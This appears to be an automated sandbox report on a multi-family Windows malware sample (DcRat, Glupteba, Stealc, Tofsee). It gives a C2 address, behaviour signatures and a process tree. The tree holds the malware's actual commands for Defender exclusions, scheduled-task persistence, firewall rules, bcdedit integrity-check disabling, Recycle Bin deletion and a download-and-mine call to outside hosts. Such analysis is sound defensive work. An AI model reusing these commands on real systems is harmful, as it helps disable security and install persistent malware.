Overview

overview

10

Static

static

1

SecuriteIn...91.exe

windows7-x64

10

SecuriteIn...91.exe

windows10-1703-x64

10

SecuriteIn...91.exe

windows10-2004-x64

10

SecuriteIn...91.exe

windows11-21h2-x64

10

Resubmissions

25/03/2024, 15:00

240325-sdp41seb4z10

24/03/2024, 15:29

240324-swwphsgb9z10

Analysis

  • max time kernel
    596s
  • max time network
    603s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25/03/2024, 15:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    SecuriteInfo.com.Win64.Evo-gen.247.3191.exe
  • Size 4.1MB
  • Sample240325-sdp41seb4z
  • SHA256 cac7fc4ae9c97eba7455992b2d41449ee257ec485c562bfc7245a90033b1d774
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
dcratgluptebastealctofseecollectiondiscoverydropperevasioninfostealerloaderpersistenceratrootkitspywarestealerthemidatrojanupx

Malware Config

Extracted

Family

  • stealc

C2

  • http://185.172.128.209

Attributes
  • url_path

    /3cd2b41cbde8fc9c.php

Signatures

  • DcRat 53 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 22 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 50 IoCs
    evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
    evasion
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 4 IoCs
    evasion
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Stops running service(s) 3 TTPs
    evasion
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Drops startup file 16 IoCs
  • Executes dropped EXE 64 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 14 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Windows security modification 2 TTPs 9 IoCs
    evasiontrojan
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Drops Chrome extension 3 IoCs
  • Drops desktop.ini file(s) 10 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

    rootkitevasion
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Drops file in System32 directory 30 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 8 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 25 IoCs
  • Drops file in Windows directory 35 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 32 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 8 IoCs
  • GoLang User-Agent 5 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 21 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 24 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win64.Evo-gen.247.3191.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win64.Evo-gen.247.3191.exe"
    1⤵
    • DcRat
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2356
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
      2⤵
      • DcRat
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1880
    • C:\Windows\system32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\Admin\.BLRVzdv\svchost.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\Admin\.BLRVzdv\svchost.exe"'
        3⤵
        • DcRat
        • Creates scheduled task(s)
        PID:2664
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      2⤵
      • DcRat
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2644
      • C:\Users\Admin\Pictures\lA4hV7MdygvkaWydPyhG60rA.exe
        "C:\Users\Admin\Pictures\lA4hV7MdygvkaWydPyhG60rA.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1232
        • C:\Users\Admin\AppData\Local\Temp\uy8.0.exe
          "C:\Users\Admin\AppData\Local\Temp\uy8.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1508
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\IJEGDBGDBF.exe"
            5⤵
            • Loads dropped DLL
            PID:2636
            • C:\Users\Admin\AppData\Local\Temp\IJEGDBGDBF.exe
              "C:\Users\Admin\AppData\Local\Temp\IJEGDBGDBF.exe"
              6⤵
              • Executes dropped EXE
              PID:2040
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\IJEGDBGDBF.exe
                7⤵
                  PID:1980
                  • C:\Windows\SysWOW64\PING.EXE
                    ping 2.2.2.2 -n 1 -w 3000
                    8⤵
                    • Runs ping.exe
                    PID:1504
          • C:\Users\Admin\AppData\Local\Temp\uy8.1.exe
            "C:\Users\Admin\AppData\Local\Temp\uy8.1.exe"
            4⤵
            • Deletes itself
            • Executes dropped EXE
            • Drops desktop.ini file(s)
            • Drops file in Windows directory
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2560
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
              5⤵
                PID:2996
                • C:\Windows\SysWOW64\chcp.com
                  chcp 1251
                  6⤵
                    PID:1504
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
                    6⤵
                    • DcRat
                    • Creates scheduled task(s)
                    PID:2208
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c rd /s /q c:\$Recycle.bin
                  5⤵
                    PID:832
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c rd /s /q c:\recycler
                    5⤵
                      PID:2540
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c rd /s /q c:\$Recycle.bin
                      5⤵
                        PID:2992
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c rd /s /q c:\recycler
                        5⤵
                          PID:436
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c rd /s /q c:\$Recycle.bin
                          5⤵
                            PID:1228
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c rd /s /q c:\recycler
                            5⤵
                              PID:312
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c rd /s /q c:\$Recycle.bin
                              5⤵
                                PID:2260
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c rd /s /q c:\recycler
                                5⤵
                                  PID:692
                            • C:\Users\Admin\Pictures\TReirmqMnKSxS247VYXz9MP3.exe
                              "C:\Users\Admin\Pictures\TReirmqMnKSxS247VYXz9MP3.exe"
                              3⤵
                              • Executes dropped EXE
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2052
                              • C:\Users\Admin\Pictures\TReirmqMnKSxS247VYXz9MP3.exe
                                "C:\Users\Admin\Pictures\TReirmqMnKSxS247VYXz9MP3.exe"
                                4⤵
                                • DcRat
                                • Windows security bypass
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Windows security modification
                                • Adds Run key to start application
                                • Checks for VirtualBox DLLs, possible anti-VM trick
                                • Drops file in Windows directory
                                • Modifies data under HKEY_USERS
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of WriteProcessMemory
                                PID:1620
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                  5⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3020
                                  • C:\Windows\system32\netsh.exe
                                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                    6⤵
                                    • Modifies Windows Firewall
                                    • Modifies data under HKEY_USERS
                                    PID:1748
                                • C:\Windows\rss\csrss.exe
                                  C:\Windows\rss\csrss.exe
                                  5⤵
                                  • DcRat
                                  • Drops file in Drivers directory
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Adds Run key to start application
                                  • Manipulates WinMon driver.
                                  • Manipulates WinMonFS driver.
                                  • Drops file in Windows directory
                                  • Modifies system certificate store
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1728
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                    6⤵
                                    • DcRat
                                    • Creates scheduled task(s)
                                    PID:268
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /delete /tn ScheduledUpdate /f
                                    6⤵
                                      PID:2732
                                    • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1332
                                    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                                      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Modifies system certificate store
                                      PID:1812
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:2880
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:1748
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:2964
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:692
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:2400
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:2812
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:2268
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:2852
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:1312
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:3064
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:2632
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -timeout 0
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:2416
                                      • C:\Windows\system32\bcdedit.exe
                                        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                                        7⤵
                                        • Modifies boot configuration data using bcdedit
                                        PID:2664
                                    • C:\Windows\system32\bcdedit.exe
                                      C:\Windows\Sysnative\bcdedit.exe /v
                                      6⤵
                                      • Modifies boot configuration data using bcdedit
                                      PID:2432
                                    • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                                      C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                                      6⤵
                                      • Executes dropped EXE
                                      PID:1496
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                      6⤵
                                      • DcRat
                                      • Creates scheduled task(s)
                                      PID:2648
                                    • C:\Windows\windefender.exe
                                      "C:\Windows\windefender.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      PID:2604
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                        7⤵
                                          PID:1744
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                            8⤵
                                            • Launches sc.exe
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3048
                                      • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
                                        C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=ahrievohz2aiv7Ee -m=https://cdn.discordapp.com/attachments/1210289102486904905/1211762574903877723/FyjjCEEagid?ex=65ef60d7&is=65dcebd7&hm=7d9a74bd2093b634718d663ba89134d88a58fd63129fa37453f5146146e9fc4c& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
                                        6⤵
                                        • Executes dropped EXE
                                        PID:2176
                                      • C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
                                        C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
                                        6⤵
                                        • Executes dropped EXE
                                        PID:1476
                                      • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                                        C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                                        6⤵
                                        • Executes dropped EXE
                                        PID:344
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                        6⤵
                                        • DcRat
                                        • Creates scheduled task(s)
                                        PID:296
                                • C:\Users\Admin\Pictures\OOVWN18X2ZTadakyU0CzJce1.exe
                                  "C:\Users\Admin\Pictures\OOVWN18X2ZTadakyU0CzJce1.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:304
                                  • C:\Users\Admin\Pictures\OOVWN18X2ZTadakyU0CzJce1.exe
                                    "C:\Users\Admin\Pictures\OOVWN18X2ZTadakyU0CzJce1.exe"
                                    4⤵
                                    • DcRat
                                    • Windows security bypass
                                    • Executes dropped EXE
                                    • Windows security modification
                                    • Adds Run key to start application
                                    • Checks for VirtualBox DLLs, possible anti-VM trick
                                    • Drops file in Windows directory
                                    • Modifies data under HKEY_USERS
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:1636
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                      5⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:2036
                                      • C:\Windows\system32\netsh.exe
                                        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                        6⤵
                                        • Modifies Windows Firewall
                                        • Modifies data under HKEY_USERS
                                        PID:748
                                • C:\Users\Admin\Pictures\a3WlMv4oSKhHBIWSDIKi10ji.exe
                                  "C:\Users\Admin\Pictures\a3WlMv4oSKhHBIWSDIKi10ji.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1964
                                  • C:\Users\Admin\Pictures\a3WlMv4oSKhHBIWSDIKi10ji.exe
                                    "C:\Users\Admin\Pictures\a3WlMv4oSKhHBIWSDIKi10ji.exe"
                                    4⤵
                                    • DcRat
                                    • Windows security bypass
                                    • Executes dropped EXE
                                    • Windows security modification
                                    • Adds Run key to start application
                                    • Checks for VirtualBox DLLs, possible anti-VM trick
                                    • Drops file in Windows directory
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:1624
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                      5⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:1080
                                      • C:\Windows\system32\netsh.exe
                                        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                        6⤵
                                        • Modifies Windows Firewall
                                        • Modifies data under HKEY_USERS
                                        PID:1992
                                • C:\Users\Admin\Pictures\jL7PjLLqtK3O6OVwBaBshVG4.exe
                                  "C:\Users\Admin\Pictures\jL7PjLLqtK3O6OVwBaBshVG4.exe"
                                  3⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • Checks whether UAC is enabled
                                  • Drops file in System32 directory
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Modifies system certificate store
                                  PID:2612
                                  • C:\Users\Admin\Documents\GuardFox\UVMc78mVQTukrlABR2dzmQi5.exe
                                    "C:\Users\Admin\Documents\GuardFox\UVMc78mVQTukrlABR2dzmQi5.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Accesses Microsoft Outlook profiles
                                    • Adds Run key to start application
                                    • Checks processor information in registry
                                    • outlook_office_path
                                    • outlook_win_path
                                    PID:1344
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV168_ff2364a0be3d20e46cc69efb36afe9a5\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_ff2364a0be3d20e46cc69efb36afe9a5 HR" /sc HOURLY /rl HIGHEST
                                      5⤵
                                      • DcRat
                                      • Creates scheduled task(s)
                                      PID:2992
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV168_ff2364a0be3d20e46cc69efb36afe9a5\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_ff2364a0be3d20e46cc69efb36afe9a5 LG" /sc ONLOGON /rl HIGHEST
                                      5⤵
                                      • DcRat
                                      • Creates scheduled task(s)
                                      PID:436
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV168_2fe3868764b70dafe5d89d79466c63e3\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_2fe3868764b70dafe5d89d79466c63e3 HR" /sc HOURLY /rl HIGHEST
                                      5⤵
                                      • DcRat
                                      • Creates scheduled task(s)
                                      PID:848
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV168_2fe3868764b70dafe5d89d79466c63e3\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_2fe3868764b70dafe5d89d79466c63e3 LG" /sc ONLOGON /rl HIGHEST
                                      5⤵
                                      • DcRat
                                      • Creates scheduled task(s)
                                      PID:2080
                                    • C:\Users\Admin\AppData\Local\Temp\heidiG22ML03FNrfx\aWB4R5c6dD3uZKpA6uY7.exe
                                      "C:\Users\Admin\AppData\Local\Temp\heidiG22ML03FNrfx\aWB4R5c6dD3uZKpA6uY7.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:1504
                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                        6⤵
                                          PID:1308
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 260
                                            7⤵
                                            • Program crash
                                            PID:2864
                                    • C:\Users\Admin\Documents\GuardFox\j5pUQIIiSveqwEKmTIJSwyzl.exe
                                      "C:\Users\Admin\Documents\GuardFox\j5pUQIIiSveqwEKmTIJSwyzl.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:2788
                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                        5⤵
                                          PID:2128
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                          5⤵
                                          • Modifies system certificate store
                                          PID:1516
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 1484
                                            6⤵
                                            • Program crash
                                            PID:2756
                                      • C:\Users\Admin\Documents\GuardFox\6p7KRa3vo0O7NJ3YE8WJB2Th.exe
                                        "C:\Users\Admin\Documents\GuardFox\6p7KRa3vo0O7NJ3YE8WJB2Th.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        PID:2964
                                        • C:\Users\Admin\AppData\Local\Temp\is-M0SOD.tmp\6p7KRa3vo0O7NJ3YE8WJB2Th.tmp
                                          "C:\Users\Admin\AppData\Local\Temp\is-M0SOD.tmp\6p7KRa3vo0O7NJ3YE8WJB2Th.tmp" /SL5="$50176,1830972,54272,C:\Users\Admin\Documents\GuardFox\6p7KRa3vo0O7NJ3YE8WJB2Th.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          PID:1608
                                          • C:\Users\Admin\AppData\Local\Poly Glot Edit\polyglot32.exe
                                            "C:\Users\Admin\AppData\Local\Poly Glot Edit\polyglot32.exe" -i
                                            6⤵
                                            • Executes dropped EXE
                                            PID:3068
                                          • C:\Users\Admin\AppData\Local\Poly Glot Edit\polyglot32.exe
                                            "C:\Users\Admin\AppData\Local\Poly Glot Edit\polyglot32.exe" -s
                                            6⤵
                                            • Executes dropped EXE
                                            PID:2284
                                      • C:\Users\Admin\Documents\GuardFox\0w6VeiXdstDz9GSf2jwvyx1p.exe
                                        "C:\Users\Admin\Documents\GuardFox\0w6VeiXdstDz9GSf2jwvyx1p.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2672
                                        • C:\Users\Admin\Documents\GuardFox\0w6VeiXdstDz9GSf2jwvyx1p.exe
                                          "C:\Users\Admin\Documents\GuardFox\0w6VeiXdstDz9GSf2jwvyx1p.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          • Checks for VirtualBox DLLs, possible anti-VM trick
                                          PID:1052
                                      • C:\Users\Admin\Documents\GuardFox\gvPvDQnwBD0AB6yuj0pfQeVM.exe
                                        "C:\Users\Admin\Documents\GuardFox\gvPvDQnwBD0AB6yuj0pfQeVM.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        PID:2232
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c taskkill /im "gvPvDQnwBD0AB6yuj0pfQeVM.exe" /f & erase "C:\Users\Admin\Documents\GuardFox\gvPvDQnwBD0AB6yuj0pfQeVM.exe" & exit
                                          5⤵
                                            PID:2756
                                            • C:\Windows\SysWOW64\taskkill.exe
                                              taskkill /im "gvPvDQnwBD0AB6yuj0pfQeVM.exe" /f
                                              6⤵
                                              • Kills process with taskkill
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:1564
                                        • C:\Users\Admin\Documents\GuardFox\4_NSP6abxfAdKh86aNS9KvuP.exe
                                          "C:\Users\Admin\Documents\GuardFox\4_NSP6abxfAdKh86aNS9KvuP.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Checks SCSI registry key(s)
